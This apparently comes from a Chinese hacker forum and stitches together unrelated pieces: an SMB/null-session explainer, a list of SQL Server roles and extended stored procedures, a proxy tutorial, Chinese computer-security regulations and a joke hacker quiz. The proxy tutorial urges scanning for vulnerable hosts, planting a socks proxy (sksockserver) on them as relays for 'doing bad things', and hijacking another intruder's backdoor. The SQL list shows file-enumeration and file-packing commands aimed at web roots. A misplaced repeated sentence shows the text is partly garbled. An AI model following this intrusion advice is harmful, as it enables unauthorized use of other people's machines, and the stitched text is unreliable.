想对了，关键就是要阻止自己的机器向网络中去宣告自己，而且我知道我们其中的一些人已经将此变成了现实，至于方法嘛，就不要来问我了。
注：因为有关win98浏览服务的资料很少，涉及的书籍也多为以NT的“域”模型进行介绍，因而我只能根据自己的理解结合netxray的实践来测试，细节部分难免有错，欢迎大家指正。
7.在我的网上邻居里为什么有些机子访问不了
如果微软的网上邻居真能做到所见即所得，相信抱怨它的人不会象现在这么多，可通过前面对浏览服务的介绍，大家已经知道这是不可能的，因为浏览列表的获得不是通过访问其中每一台机子得到的，很多时候网络中的计算机并不能正确更新浏览列表。当一台计算机正常关机时，它会向网络发出广播宣告，使浏览主控服务器及时将它从浏览列表中删除；而非正常关机后，浏览列表里仍会把该条目保持很长一段时间(NT下是45分钟),这就是我们仍能在网络邻居里看到它的原因.而98的稳定性是众所周知的 ----在还没来得及关机前就已经崩溃了^-^
SMB（Server Message Block）协议在NT/2000中用来作文件共享，在NT中，SMB运行于NBT（NetBIOS over TCP/IP）上，使用137，139（UDP），139（TCP）端口。
在2000中，SMB可以直接运行在tcp/ip上，而没有额外的NBT层，使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。可以在“网络连接/属性/TCPIP协议/属性/高级/WINS中设置启用或者禁用NBT（NetBIOS over TCP/IP）。
当2000使用网络共享的时候，就面临着选择139或者445端口了。下面的情况确定会话使用的端口：
1、如果客户端启用了NBT，那么连接的时候将同时访问139和445端口，如果从445端口得到回应，那么客户端将发送RST到139端口，终止这个端口的连接，接着就从445端口进行SMB的会话了；如果没有从445端口而是从139得到回应，那么就从139端口进行会话；如果没有得到任何回应，那么SMB会话失败。
2、如果客户端禁用了NBT，他就将只从445端口进行连接。当然如果服务器（开共享端）没有445端口进行SMB会话的话，那么就会访问失败了，所以禁用445端口后，对访问NT机器的共享会失败。
3、如果服务器端启用NBT，那么就同时监听UDP 137、138端口和TCP139，445。如果禁用NBT，那么就只监听445端口了。
所以对于2000来说，共享问题就不仅仅是139端口，445端口同样能够完成。
关于空会话
NULL会话（空会话）使用端口也同样遵循上面的规则。NULL会话是同服务器建立的无信任支持的会话。一个会话包含用户的认证信息，而NULL会话是没有用户的认证信息，也就好比是一个匿名的一样。
没有认证就不可能为系统建立安全通道，而建立安全通道也是双重的，第一，就是建立身份标志，第二就是建立一个临时会话密匙，双方才能用这个会话进行加密数据交换（比如RPC和COM的认证等级是PKT_PRIVACY）。不管是经过NTLM还是经过Kerberos认证的票据，终究是为会话创建一个包含用户信息的令牌。（这段来自Joe Finamore）
根据WIN2000的访问控制模型，对于空会话同样需要提供一个令牌。但是空会话由于是没有经过认证的会话，所以令牌中不包含用户信息，因此，建立会话双方没有密匙的交换，这也不能让系统间发送加密信息。这并不表示空会话的令牌中不包含SID，对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话建立的SID，用户名是ANONYMOUS LOGON。这个用户名是可以在用户列表中看到的。但是是不能在SAM数据库中找到，属于系统内置的帐号。
（关于这部分对NULL SESSION的分析，可以参照：《NULL Sessions In NT/2000》http://rr.sans.org/win/null.php）
NULL会话几乎成为了微软自己安置的后门，但是微软为什么要来设置这样一个“后门”呢？我也一直在想这个问题，如果NULL会话没有什么重要的用途，那么微软也应该不会来设置这样一个东西。好不容易才在微软上找到这个：
当在多域环境中，要在多域中建立信任关系，首先需要找到域中的PDC来通过安全通道的密码验证,使用空会话能够非常容易地找到PDC，还有就是关于一些系统服务的问题。而且LMHOSTS的#Include就需要空会话的支持，可以参考文章：
http://support.microsoft.com/default.aspx?...b;EN-US;q121281
还有
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q124184
其实建立一个空会话的条件也非常严格。首先要能够满足上面的，也就是打开TCP 139和TCP 445端口。我们可以从一次关闭这两个端口的情况中看得出来。服务器关闭445和139端口，然后我们来进行空会话的连接。首先，客户端打算连接的是445端口，然后再试图连接139端口。当然最后还是失败了。
仅仅开放这两个端口还不行，服务器还必须得打开IPC$共享。如果没有IPC共享，即使共享一个文件，有权限为Anonymous Logon，也不能建立会话，即使权限设置为完全控制，出现的连接错误依然是权限不够。这和其他帐号是不一样的。如果要允许一个文件夹共享能够类似IPC$（命名管道而非共享）能够使用空会话，那么需要修改注册表：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\
中的：NullSessionShares，添加新的共享名，这样才能建立一个共享的空会话。这时，将不依赖IPC的存在了。（即使这样的空会话对于后面的突破也是一点没可取之处的，因为没有了IPC$命名管道，RPC不可取了，这下知道IPC这个命名管道的具体实现了。呵呵）
虽然空会话建立的要求很严格，但是那都是默认建立的。既然是默认的，对于使用WIN2K系统的服务器来说，就还是有利用的价值。最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。
1. 有些人给共享名加个$，以达到隐藏的效果，可这用DOS下的net share是可被看到的；
这种隐藏只是微软Windows标准客户端net view的限制，不是服务端的限制，网络传输过程中是一视同仁的，所以直接修改客户端解除这种限制或者使用第三方客户端软件均可看到所谓的隐藏共享，比如smbclient就是典型代表。而直接修改windows客户端的办法，99年袁哥贴过，我在华中Security版上转载过，精华区中还在。
2. 有些人给共享加上密码，可听说这也是有办法破解的；
这个破解要看是什么层面上的，纯暴力破解的就不必说了，那当然总是可以的。而95/98另有漏洞，袁哥发现的，就是他那个著名的vredir.vxd，服务端验证密码时所用长度居然是客户端提供的，这就意味着至多猜测256次(事实上没这么多，考虑可打印字符范围)即可进入。当初N多人用这种办法非法浏览别人的机器。2000年报告微软，现在已修补。
http://security.nsfocus.net/index.php?act=...o=view&adv_id=6
顺便说一句，利用该漏洞可以快速穷举出原始口令，虽然在攻击中这是不必要的。因而我只能根据自己的理解结合netxray的实践来测试，细节部分难免有错，
推荐www.ethereal.com提供的Ethereal，这是我所见过的对SMB解码最强的免费软件，有Unix/Windows版，提供源码。
3. 在2000中，SMB可以直接运行在tcp/ip上，而没有额外的NBT层，使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。
事实上正相反，在ssaxh_capabilities字段中指明不使用"扩展安全验证"，此时使用原有身份验证机制，只需去掉NBT层的Session Request，将139/TCP改成445/TCP，一样可以成功建立空会话，并且成功打开"\<target ip>\IPC$"。
至于更高层的RPC Over SMB，更是不必作任何变动。换句话说，从139/TCP换到445/TCP，整个通信过程中减少了一对NBT Session Request/Response，后面的报文对于两者来说是完全一致的。
而所谓的NBT层，即使在445通信中也未去掉，一直存在着，区别只是上面这段话。
4. 如果客户端启用了NBT，那么连接的时候将同时访问139和445端口，
微软并没有让139/TCP与445/TCP公平竞争。发起连接的SYN包在宏观上是同时发出的，具体起来，有时是先向139/TCP发起连接请求，有时是先向445/TCP发起连接请求，有点随机性。
在向139/TCP发送三次握手的最后一个ACK报文时，Windows顺手携带了数据，这里以一个刻意弄错的NetBIOS名(*SMBSERV<00...(8)>)做了一次NBT Session Request。而445/TCP不需要NBT层的会话。
由于刻意弄错的NetBIOS名，139/TCP很难竞争过445/TCP。服务端返回Negative NBT Session Response，并且执行了close()操作。这使得必须重新建立到139/TCP的连接(传输层的TCP连接)。
可以看出，那个刻意弄错的NetBIOS名仅仅是为了给445/TCP制造抢先的机会。遗憾的是，445/TCP不争气，这个端口上的任务繁重、负载较高，即使在这种不公平竞争的情况下，139/TCP仍有可能重新抢在445/TCP之前建立NBT会话(注意，不是TCP连接)。于是445口会回送RST，后续SMB会话建立在139/TCP连接之上。
微软自己的操作系统不认"*SMBSERV<00...(8)>"，但是Samba Server 2.2.5认，居然返回Positive Session Response。这成为精确识别Samba Server的方法之一。
微软在<<Direct Hosting of SMB Over TCP/IP>>中不会提这些的，只是说139/TCP、445/TCP公平竞争，优先使用最早返回的响应报文。不要相信它的鬼话。
话说回来，如非需求所致，完全不必关心这种差别。有需求的时候，这种差别是致命的。
5. 最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。
XP、2003缺省禁止在空会话上进行PolicyAccountDomainInformation查询，可以看到LsarOpenPolicy2(44)失败，权限否定。如果事先指定有效帐号、口令建立SMB会话，而非空会话，LsarOpenPolicy2(44)将成功返回。


SQL Server的用户及权限
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：

服务器和数据库固定角色描述
固定服务器角色 描述
sysadmin 可以在 SQL Server 中执行任何活动
serveradmin 可以设置服务器范围的配置选项 关闭服务器
setupadmin 可以管理链接服务器和启动过程
securityadmin 可以管理登录和 CREATE DATABASE 权限 还可以读取错误日志和更改密码
processadmin 可以管理在 SQL Server 中运行的进程
dbcreator 可以创建 更改和除去数据库
diskadmin 可以管理磁盘文件
bulkadmin 可以执行 BULK INSERT 语句
固定数据库角色 描述

db_owner 在数据库中有全部权限
db_accessadmin 可以添加或删除用户ID
db_securityadmin 可以管理全部权限 对象所有权 角色和角色成员资格
db_ddladmin 可以发出ALL DDL但不能发出GRANT REVOK或DENY语句
db_backupoperator 可以发出DBCC CHECKPOINT和BACKUP 语句
db_datareader 可以选择数据库内任何用户表中的所有数据
db_datawriter 可以更改数据库内任何用户表中的所有数据
db_denydatareader 不能选择数据库内任何用户表中的任何数据
db_denydatawriter 不能更改数据库内任何用户表中的任何数据
一些sql中的扩展存储的总结
xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia
xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups
xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'


代理服务器的基本概念和一些相关技巧

作者：刺
前一阵答应沙子亡兄要写几篇文章，昨天刚考完试，称现在还不是很忙就来写点!
今天的话题是代理服务器。
我们知道，代理分为免费的和收费的，最近我们学校就搞了个收费的代理，unix系统，速度还真是快！不过我没钱啊~~用不了，哼！总有一天我要黑了它！~
好了，现在我们来讲讲免费代理。代理按功能不同来分可以分为http代理，ftp代理，telnet代理，socks代理等。
我们先来讲讲代理的好处，首先，用代理可以掩护自己，使自己的IP受到保护，比如，你用代理服务器去浏览网站时，服务器记录的就不是你的真实IP，而是代理的IP这中间的好处就不用我说了吧，做坏事的人心里有数，呵呵。当然，对于一些网速不快的朋友来说用代理可以提高网速，还可以访问一些被严禁访问的站点：）
下面我们就来说说代理的原理，比如说你是A机，B是代理服务器，C是你要访问的主机 但是你连C机连不上，但是你连B的速度很快，B连C的速度也很快
所以你就可以先连到B，再由B连到C。这样，我们也可以了解到路由器是怎样封锁我们的访问的，比如路由器禁止了C的连接，但没禁止我们对B的连接，所以我们可以通过B访问C！
好了，罗嗦了这么多，大家对代理服务器的概念有了吧？ 下面我们开始正题，正如前面所讲的，在互联网上有很多地方提供免费的代理服务器，
但要记住，免费的代理只是暂时的，没有哪个白痴会把自己的机子一直设成免费的代理来和大家一起用！！！所以，一定要珍惜代理！
那么，我们在哪里可以找到这些代理呢？其实网上有很多无聊的人会不停的给你找代理然后，再把代理贴出来。我们要怎么找到这些列表呢？
我在这里推荐google！！！
伟大的google（www.google.com）
有史以来最好的搜索引擎！
我们搜索 -》代理服务器，会出来大量的网址，我们随便找几个，发现里面有很多代理但是，代理对于各地的速度会不同，有的还连不上，怎样才能找出真正快的呢？
这里，要用到代理猎手！这个找代理的利器，这个软件在www.ttian.net有下载。
首先，我们将代理列表复制下来，以txt方式保存。 然后打开代理猎手，-》搜索结果-》导入结果（刚才的txt文件） 然后点验证全部！ 这样就可以过滤掉连不上的，再点一下时间特性，就可以看出哪个最快了！！！ 这样就可以找到许多代理！注意，验证超时的也很有可能是代理！！

全面我们讲了代理的概念和找代理的方法，接下来我们就要讲socks代理，我的最爱~~~ socks代理分为socks4和socks5两种，socks4只支持tcp/ip协议，不支持加密，只支持ip地址，相对而言socks5功能就要强多了，所以，我们一般用socks5来做跳板！！ 但是，现在网上的socks5太少了，毕竟很珍贵嘛~~~
所以，我们只好自己来做了！我们一般是用snake的sksockserver，我很喜欢snake的这个工具，这样以后就不怕没代理了我在这里只提供一种思路，具体做法会在另一篇文章中提到！大家可以用流光扫描，找到有漏洞主机，然后把sksockserver传上去，再安装，net start一下就搞定了！
讲了这么久居然忘了讲socks5怎么用了！我们 一般是用sockscap32或是sockhttp，但我推荐前者！这是自己的感觉而已。我们用sockscap32给流光挂上代理，就可以从容的去干坏事了，呵呵！ 但是，切记，连跳板一样会在上面留下痕迹，所以大家在玩时不要太过火！以免自焚，因为对方如果认真的话，就算是顺着路由器也可以把你找出来！！！
下面再讲一次我检到一台socks5的事，由于不久前我得到了一个http代理，速度还不错我就想把它作成socks5，随便用sss扫了一下，先是发现漏洞一大堆，接着就发现很奇怪的开了 一个918的端口，还是socks5的，看来已经有人比我抢先了，哈哈那我就不好意思了，当然是拿过来用了再说，对吧？
另外，大家要搜socks5的话，可以用proxyhunter或是superscan搜5262，或是1813的端口，说不定还能搜到几台，不过我建议大家自己做！毕竟，是自己的跳板嘛！！！


计算机安全法律条文

计算机信息网络国际联网安全保护管理办法

（1997年12月11日国务院批准1997年12月30日公安部发布）

第一章　总　则
...............................................................................................................

    第一条　为了加强对计算机信息网络国际联网的安全保护，维护公共秩序和社会稳定，根据《中华人民共和国计算机信息系统安全保护条例》、《中华人民共和国计算机信息网络国际联网管理暂行规定》和其他法律、行政法规的规定，制定本办法。

    第二条　中华人民共和国境内的计算机信息网络国际联网安全保护管理，适用本办法。

    第三条　公安部计算机管理监察机构负责计算机信息网络国际联网的安全保护管理工作。
     公安机关计算机管理监察机构应当保护计算机信息网络国际联网的公共安全，维护从事国际联网业务的单位和个人的合法权益和公众利益。

    第四条　任何单位和个人不得利用国际联网危害国家安全、泄露国家秘密，不得侵犯国家的、社会的、集体的利益和公民的合法权益，不得从事违法犯罪活动。

    第五条　任何单位和个人不得利用国际联网制作、复制、查阅和传播下列信息：
     （一）煽动抗拒、破坏宪法和法律、行政法规实施的；
     （二）煽动颠覆国家政权，推翻社会主义制度的；
     （三）煽动分裂国家、破坏国家统一的；
     （四）煽动民族仇恨、民族歧视，破坏民族团结的；
     （五）捏造或者歪曲事实，散布谣言，扰乱社会秩序的；
     （六）宣扬封建迷信、淫秽、色情、赌博、暴力、凶杀、恐怖，教唆犯罪的；
     （七）公然侮辱他人或者捏造事实诽谤他人的；
     （八）损害国家机关信誉的；
     （九）其他违反宪法和法律、行政法规的。

    第六条　任何单位和个人不得从事下列危害计算机信息网络安全的活动：
     （一）未经允许，进入计算机信息网络或者使用计算机信息网络资源的；
     （二）未经允许，对计算机信息网络功能进行删除、修改或者增加的；
     （三）未经允许，对计算机信息网络中存储、处理或者传输的数据和应用程序进行删除、修改或者增加的；
     （四）故意制作、传播计算机病毒等破坏性程序的；
     （五）其它危害计算机信息网络安全的。

    第七条　用户的通信自由和通信秘密受法律保护。任何单位和个人不得违反法律规定，利用国际联网侵犯用户的通信自由和通信秘密。

第二章　安全保护责任
...............................................................................................................
  第八条　从事国际联网业务的单位和个人应当接受公安机关的安全监督、检查和指导，如实向公安机关提供有关安全保护的信息、资料及数据文件，协助公安机关查处通过国际联网的计算机信息网络的违法犯罪行为。

    第九条　国际出口信道提供单位、互联单位的主管部门或者主管单位，应当依照法律和国家有关规定负责国际出入口信道、所属互联网络的安全保护管理工作。

    第十条　互联单位、接入单位及使用计算机信息网络国际联网的法人和其他组织应当履行下列安全保护职责：
     （一）负责本网络的安全保护管理工作，建立健全安全保护管理制度；
     （二）落实安全保护技术措施，保障本网络的运行安全和信息安全；
     （三）负责对本网络用户的安全教育和培训；
     （四）对委托发布信息的单位和个人进行登记，并对所提供的信息内容按照本办法第五条进行审核；
     （五）建立计算机信息网络电子公告系统的用户登记和信息管理制度；
     （六）发现有本办法第四条、第五条、第六条、第七条所列情形之一的，应当保留有关原始记录，并在二十四小时内向当地公安机关报告；
     （七）按照国家有关规定，删除本网络中含有本办法第五条内容的地址、目录或者关闭服务器。

    第十一条　用户在接入单位办理入网手续时，应当填写用户备案表。备案表由公安部监制。

    第十二条　互联单位、接入单位、使用计算机信息网络国际联网的法人和其他组织（包括跨省、自治区、直辖市联网的单位和所属的分支机构），应当自网络正式联通之日起三十日内，到所在地的省、自治区、直辖市人民政府公安机关指定的受理机关办理备案手续。
     前款所列单位应当负责将接入本网络的接入单位和用户情况报当地公安机关备案，并及时报告本网络中接入单位和用户的变更情况。

    第十三条　使用公用帐号的注册者应当加强对公用帐号的管理，建立帐号使用登记制度。用户帐号不得转借、转让

    第十四条　涉及国家事务、经济建设、国防建设、尖端科学技术等重要领域的单位办理备案手续时，应当出具其行政主管部门的审批证明。
     前款所列单位的计算机信息网络与国际联网，应当采取相应安全保护措施。

第三章　安全监督
...............................................................................................................

    第十五条　省、自治区、直辖市公安厅（局），地（市）、县（市）公安局，应当有相应机构负责国际联网的安全保护管理工作。

    第十六条　公安机关计算机管理监察机构应当掌握互联单位、接入单位和用户的备案情况，建立备案档案，进行备案统计，并按照国家有关规定逐级上报。

    第十七条　公安机关计算机管理监察机构应当督促互联单位、接入单位及有关用户建立健全安全保护管理制度，监督、检查网络安全保护管理以及技术措施的落实情况。
     公安机关计算机管理监察机构在组织安全检查时，有关单位应当派人参加。公安机关计算机管理监察机构对安全检查发现的问题，应当提出改进意见，做出详细记录，存档备查。

    第十八条　公安机关计算机管理监察机构发现含有本办法第五条所列内容的地址、目录或者服务器时，应当通知有关单位关闭或者删除。

    第十九条　公安机关计算机管理监察机构应当负责追踪和查处通过计算机信息网络的违法行为和针对计算机信息网络的犯罪案件，对违反本办法第四条、第七条规定的违法犯罪行为，应当按照国家有关规定移送有关部门或者司法机关处理。

第四章　法律责任
...............................................................................................................

    第二十条　违反法律、行政法规，有本办法第五条、第六条所列行为之一的，由公安机关给予警告，有违法所得的，没收违法所得，对个人可以并处五千元以下的罚款，对单位可以并处一万五千元以下的罚款；情节严重的，并可以给予六个月以内停止联网、停机整顿的处罚，必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格；构成违反治安管理行为的，依照治安管理处罚条例的规定处罚；构成犯罪的，依法追究刑事责任。

    第二十一条　有下列行为之一的，由公安机关责令限期改正，给予警告，有违法所得的，没收违法所得；在规定的限制内未改正，对单位的主管负责人员和其他直接责任人员可以并处五千元以下的罚款，对单位可以并处一万五千元以下的罚款；情节严重的，并可以给予六个月以内的停止联网、停机整顿的处罚，必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格。
     （一）未建立安全保护管理制度的；
     （二）未采取安全技术保护措施的；
     （三）未对网络用户进行安全教育和培训的；
     （四）未提供安全保护管理所需信息、资料及数据文件，或者所提供内容不真实的；
     （五）对委托其发布的信息内容未进行审核或者对委托单位和个人未进行登记的；
     （六）未建立电子公告系统的用户登记和信息管理制度的；
     （七）未按照国家有关规定，删除网络地址、目录或者关闭服务器的；
     （八）未建立公用帐号使用登记制度的；
     （九）转借、转让用户帐号的。

    第二十二条　违反本办法第四条、第七条规定的，依照有关法律、法规予以处罚。

    第二十三条　违反本办法第十一条、第十二条规定，不履行备案职责的，由公安机关给予警告或者停机整顿不超过六个月的处罚。

第五章　附则
...............................................................................................................

    第二十四条　与香港特别行政区和台湾、澳门地区联网的计算机信息网络的安全保护管理，参照本办法执行。

    第二十五条　本办法自发布之日起施行。

中华人民共和国计算机信息系统安全保护条例

（1994年2月18日中华人民共和国国务院令147号发布）

第一章　总　则
...............................................................................................................

    第一条　为了保护计算机信息系统的安全，促进计算机的应用和发展，保障社会主义现代化建设的顺利进行，制定本条例。

    第二条　本条例所称的计算机信息系统，是指由计算机及其相关的和配套的设备、设施（含网络）构成的，按照一定的应用目标和规则对信息进行采集、加工、存储、传输、检索等处理的人机系统。

    第三条　 计算机信息系统的安全保护，应当保障计算机及其相关的和配套的设备、设施（含网络）的安全，运行环境的安全，保障信息的安全，保障计算机功能的正常发挥，以维护计算机信息系统的安全运行。

    第四条　计算机信息系统的安全保护工作，重点维护国家事务、经济建设、国防建设、尖端科学技术等重要领域的计算机信息系统的安全。

    第五条　中华人民共和国境内的计算机信息系统的安全保护，适用本条例。
     未联网的微型计算机的安全保护办法，另行制定。

    第六条　公安部主管全国计算机信息系统安全保护工作。
     国家安全部、国家保密局和国务院其他有关部门，在国务院规定的职责范围内做好计算机信息系统安全保护的有关工作。

    第七条　任何组织或者个人，不得利用计算机信息系统从事危害国家利益、集体利益和公民合法利益的活动，不得危害计算机信息系统的安全。

第二章　安全保护制度
...............................................................................................................

    第八条　计算机信息系统的建设和应用，应当遵守法律、行政法规和国家其他有关规定。

    第九条　计算机信息系统实行安全等级保护。安全等级的划分标准和安全等级保护的具体办法，由公安部会同有关部门制定。

    第十条　计算机机房应当符合国家标准和国家有关规定。
     在计算机机房附近施工，不得危害计算机信息系统的安全。

    第十一条　进行国际联网的计算机信息系统，由计算机信息系统的使用单位报省级以上人民政府公安机关备案。

    第十二条　运输、携带、邮寄计算机信息媒体进出境的，应当如实向海关申报。

    第十三条　计算机信息系统的使用单位应当建立健全安全管理制度，负责本单位计算机信息系统的安全保护工作。

    第十四条　对计算机信息系统中发生的案件，有关使用单位应当在24小时内向当地县级以上人民政府公安机关报告。

    第十五条　对计算机病毒和危害社会公共安全的其他有害数据的防治研究工作，由公安部归口管理。

    第十六条　国家对计算机信息系统安全专用产品的销售实行许可证制度。具体办法由公安部会同有关部门制定。

第三章　安全监督
...............................................................................................................

    第十七条　公安机关对计算机信息系统安全保护工作行使下列监督职权：
     （一）监督、检查、指导计算信息系统安全保护工作；
     （二）查处危害计算机信息系统安全的违法犯罪案件；
     （三）履行计算信息系统安全保护工作的其他监督职责。

    第十八条　公安机关发现影响计算机信息系统安全的隐患时，应当及时通知使用单位采取安全保护措施。

    第十九条　公安部在紧急情况下，可以就涉及计算机信息系统安全的特定事项发布专项通令。

第四章　法律责任
...............................................................................................................

    第二十条　违反本条例的规定，有下列行为之一的，由公安机关处以警告或者停机整顿：
     （一）违反计算机信息系统安全等级保护制度，危害计算机信息系统安全的；
     （二）违反计算机信息系统国际联网备案制度的；
     （三）不按照规定时间报告计算机信息系统中发生的案件的；
     （四）接到公安机关要求改进安全状况的通知后，在限期内拒不改进的；
     （五）有危害计算机信息系统安全的其他行为的。

    第二十一条　计算机机房不符合国家标准和国家其他有关规定的，或者在计算机房附近施工危害计算机信息系统安全的，由公安机关会同有关单位进行处理。

    第二十二条　运输、携带、邮寄计算机信息媒体进出境，不如实向海关申报的，由海关依照《中华人民共和国海关法》和本条例以及其他有关法律、法规的规定处理。

    第二十三条　故意输入计算机病毒以及其他有害数据危害计算机信息系统安全的，或者未经许可出售计算机信息系统安全专用产品的，由公安机关处以警告或者对个人处以5000元以下的罚款、对单位处以15000元以下的罚款；有违法所得的，除予以没收外，可以处以违法所得1至3倍的罚款。

    第二十四条　违反本条例的规定，构成违反治安管理行为的，依照《中华人民共和国治安管理处罚条例》的有关规定处罚；构成犯罪的，依法追究刑事责任。

    第二十五条　任何组织或者个人违反本条例的规定，给国家、集体或者他人财产造成损失的，应当依法承担民事责任。

    第二十六条　当事人对公安机关依照本条例所做出的具体行政行为不服的，可以依法申请行政复议或者提起行政诉讼。

    第二十七条　执行本条例的国家公务员利用职权，索取、收受贿赂或者有其他违法、失职行为，构成犯罪的，依法追究刑事责任；尚不构成犯罪的，给予行政处分。

第五章　附则
...............................................................................................................

    第二十八条　本条例下列用语的含义：
     计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。
     计算机信息系统安全专用产品，是指用于保护计算机信息系统安全的专用硬件和软件产品。

    第二十九条　军队的计算机信息系统安全保护工作，按照军队的有关法规执行。

    第三十条　公安部可以根据本条例制定实施办法。

    第三十一条　本条例自发布之日起实施。


*-------------------------------------------

黑客水平测试

编译 2002 王咏刚
http://www.contextfree.net/
改编自 Omri's Computer Humor Page
http://www.cs.bgu.ac.il/~omri/Humor/
-------------------------------------------*/
以下各题中，有肯定答案的给1分，否则不给分。
测试结束后，把你的总分与下表对照，以判定你的黑客级别：

0x000 - 0x010 -> 计算机盲
0x011 - 0x040 -> 用户
0x041 - 0x080 -> 操作员
0x081 - 0x0C0 -> 黑客初阶
0x0C1 - 0x100 -> 黑客
0x101 - 0x180 -> 大虾
0x181 - 0x200 -> 巫师
如果你还不明白计分方法，请不要继续。

0001 你用过计算机吗？
0002 ... 有4 小时连续使用的经验吗？
0003 ... 有8 小时连续使用的经验吗？
0004 ... 有16小时连续使用的经验吗？
0005 ... 有32小时连续使用的经验吗？

0006 你修过优盘吗？

0007 你逃过编程课吗？
0008 ... 逃过上机实习吗？
0009 ... 逃过婚礼吗？
0010 ... 逃过你自己的婚礼吗？

0011 你有酒醉后编程的经验吗？
0012 ... 酒醉后编的程序可用吗？

0013 你写过飞行模拟器吗？

0014 你拆过品牌机吗？

0015 你改动过寄存器的值吗？
0016 ... 无意中改的？
0017 ... 用Fotran以外的语言改的？

0018 你有过使用“后门”的经验吗？

0019 你给计算机起过名字吗？

0020 如果某个“后门”被堵上了，你会暴怒吗？

0021 你吃泥巴吗？你玩泥巴吗？

0022 你知道从你出生到现在一共有多少天吗？

0023 你曾想要下载比萨饼吗？

0024 你写过计算机笑话吗？
0025 ... 有没有看过了不笑的？

0026 你会背谁都不懂的诗吗？
0027 ... 是倒着背吗？

0028 你看过《唐老鸭漫游数学奇境》吗？

0029 你看过《电玩世界（Tron）》吗？

0030 你看过《战争游戏》吗？

0031 你知道ASCII代表什么吗？
0032 ... 那么EBCDIC呢？

0033 你能读写16进制或8进制的ASCII码吗？
0034 你知道所有ASCII控制符的名字吗？

0035 你能读写16进制的EBCDIC吗？

0036 你能把EBCDIC码和ASCII码相互转换吗？

0037 你知道EBCDIC码和ASCII码中，哪些字符的编码是一致的吗？

0038 你知道你的计算机中，最大的整数是几吗？

0039 你为了提高精度而自定义数字类型吗？

0040 你能任意说出2的平方到2的16次方中每个数的值吗？
0041 ... 如果到2的32次方呢？
0042 ... 到2的64次方呢？

0043 你能只凭肉眼就读出打孔卡片上的程序吗？
0044 ... 如果只凭手摸呢？

0045 你改动过可执行的二进制代码吗？
0046 ... 在程序运行时改动过吗？

0047 你用过执行覆盖技术吗？

0048 你见过IBM的副总裁吗？
0049 你知道比尔·盖茨吗？

0050 你给你的显示屏拍过照片吗？
0051 你给你的显示屏拍过录像吗？

0052 你有数码相机吗？

0053 你有没有忘了兑现国库券？

0054 你曾优化过一个耗时的循环体吗？

0055 你优化过冒泡排序算法吗？

0056 你的计算机能跟你说话吗？

0057 你对调制解调器说过话吗？
0058 ... 它回答你了吗？

0059 你能用300波特吹口哨吗？
0060 ... 1200波特呢？

0061 你能用口哨拨电话吗？

0062 你见过硬盘分区表丢失吗？
0063 你修过磁盘吗？

0064 你买过驴打滚吗？
0065 ... 你知道什么是驴打滚吗？

0066 你能在你的打印机上弹钢琴吗？
0067 ... 在你的硬盘上呢？
0068 ... 在你的显示器上呢？

0069 你有史努比挂历吗？
0070 ... 它过期了吗？

0071 你有用行打打印出的……
0072 ... 蒙娜丽莎吗？
0073 ... 清明上河图吗？
0074 ... 爱因斯坦吗？
0075 ... 加菲猫吗？
0076 你用行打打印过照片吗？

0077 你知道下面着几个词是什么意思吗？
0078 ... DASD
0079 ... Emacs
0080 ... ITS
0081 ... RSTS/E
0082 ... SNA
0083 ... Spool
0084 ... TCP/IP

你用过下面这些东西吗？
0085 ... TPU
0086 ... TECO
0087 ... Emacs
0088 ... ed
0089 ... vi
0090 ... Xedit (in VM/CMS)
0091 ... SOS
0092 ... EDT
0093 ... Wordstar

0094 你写过C Shell程序吗？

你在这下面的环境下编过程序吗？
0095 ... X Window
0096 ... Palm OS

0097 你收到过邮寄的盗版光盘吗？

0098 你告诉过新手什么是“按任意键”吗？
0099 ... 这对新手是不是非常有帮助？

你参加过下面的组织吗？
0100 ... Usenix
0101 ... DECUS
0102 ... SHARE
0103 ... SIGGRAPH
0104 ... NetCon

0105 你参加过标准化组织吗？

0106 你通过电话线调试过机器语言代码吗？

0107 你见过语音邮件吗？
0108 ... 你能阅读它吗？

0109 你用在线词典做过填字游戏吗？

0110 你参加过图灵测试吗？
0111 ... 你失败了吗？

0112 你碰倒过卡片桌吗？
0113 ... 你又把卡片都整好了吗？
0114 ... 闭着眼就能整好？

0115 你用过Visual Route吗？

0116 你把一箱啤酒和你的计算机放在一块儿吗？

0117 你计算机有前卫的造型吗？

0118 你弄坏过UPS吗？

0119 屏蔽过NMI（不可屏蔽中断）吗？

0120 引爆过灭火系统吗？
0121 ... 不小心引爆的？
0122 ... 你还在继续工作吗？

0123 碰过机房的电源开关吗？
0124 ... 不小心碰的？

0125 你有过期的文档吗？
0126 ... 你读这些文档吗？

0127 曾经反汇编过什么程序吗？
0128 ... 发现过它的Bug吗？

0129 帮站居委会大妈修理过计算机吗？

0130 试过把你的电话装在机架上吗？

0131 从二楼或更高处摔过计算机吗？

0132 修补过连开发者都不知道的Bug吗？

0133 用软件方法修补过硬件Bug吗？
